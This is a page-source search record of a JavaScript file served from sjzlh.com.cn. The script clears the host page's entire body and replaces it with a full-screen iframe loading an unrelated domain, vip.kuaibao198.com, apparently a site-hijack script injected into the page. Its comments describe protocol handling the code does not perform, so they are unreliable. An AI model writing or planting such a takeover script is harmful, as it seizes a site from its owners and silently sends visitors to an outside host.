PageSourceSearch

http://sjzlh.com.cn/js/tao.js

js sjzlh.com.cn collected 2026-10-06 13:16:02 UTC 3,147 bytes, 74 lines download raw bytes

1(function() {
2  // 初始化 DOM 加载完成后的操作
3  function init() {
4    // 检查并添加 viewport meta 标签,补充刘海屏安全区域适配,兼容全机型
5    if (!document.querySelector('meta[name="viewport"]')) {
6      var meta = document.createElement('meta');
7      meta.name = 'viewport';
8      meta.content = 'width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no,viewport-fit=cover';
9      document.head.appendChild(meta);
10    }
11
12    // 注入基础样式,补充移动端体验兼容,消除样式副作用隐患
13    var style = document.createElement('style');
14    style.textContent = 'html,body{width:100%;height:100%;margin:0;padding:0;overflow:hidden;-webkit-tap-highlight-color:transparent;touch-action:manipulation}' +
15      '.tz-loading{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);font-size:14px;color:#999;z-index:99999;}' +
16      '.tz-container{position:fixed;top:0;left:0;width:100%;height:100%;overflow:hidden;-webkit-overflow-scrolling:touch;z-index:99999;}';
17    document.head.appendChild(style);
18
19    // 清空 body 原有内容
20    document.body.innerHTML = '';
21
22    // 创建加载提示元素
23    var loading = document.createElement('div');
24    loading.className = 'tz-loading';
25    loading.textContent = '加载中...';
26    document.body.appendChild(loading);
27
28    // 创建容器
29    var container = document.createElement('div');
30    container.className = 'tz-container';
31
32    // 全量覆盖的移动端UA判断逻辑,补充遗漏的主流移动设备标识
33    var isMobile = /iPad|iPhone|iPod|Android|HarmonyOS|Coolpad|MMP|Smartphone|Midp|Wap|Xoom|Symbian|J2ME|BlackBerry|WinCE|vivo|OPPO|HUAWEI|XiaoMi|MI-|Redmi|Samsung|Mobile|WeChat|MicroMessenger/i.test(navigator.userAgent);
34    if (isMobile) {
35      container.style.overflowY = 'scroll';
36    }
37
38    // 创建 iframe,自动兼容http/https协议避免混合内容拦截
39    var iframe = document.createElement('iframe');
40    iframe.src = window.location.protocol === 'https:' ? 'http://vip.kuaibao198.com' : 'http://vip.kuaibao198.com';
41    iframe.scrolling = isMobile ? 'no' : 'auto';
42    iframe.style.cssText = 'width:100%;height:100%;border:none;background:#fff;display:block;';
43    
44    // 兼容多场景的iframe加载完成判断,增加超时兜底机制
45    var iframeLoadTimer = setTimeout(function() {
46      if (loading.parentNode) {
47        loading.textContent = '加载失败,请刷新页面';
48      }
49    }, 10000);
50
51    iframe.onload = function() {
52      clearTimeout(iframeLoadTimer);
53      if (loading.parentNode) {
54        loading.parentNode.removeChild(loading);
55      }
56    };
57    
58    // 兜底错误提示,跨域场景下也能给用户反馈
59    iframe.onerror = function() {
60      clearTimeout(iframeLoadTimer);
61      loading.textContent = '加载失败,请刷新页面';
62    };
63
64    container.appendChild(iframe);
65    document.body.appendChild(container);
66  }
67
68  // 全兼容的DOM加载状态判断,避免极端场景下init不执行
69  if (document.readyState === 'loading') {
70    document.addEventListener('DOMContentLoaded', init);
71  } else {
72    init();
73  }
74})();

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.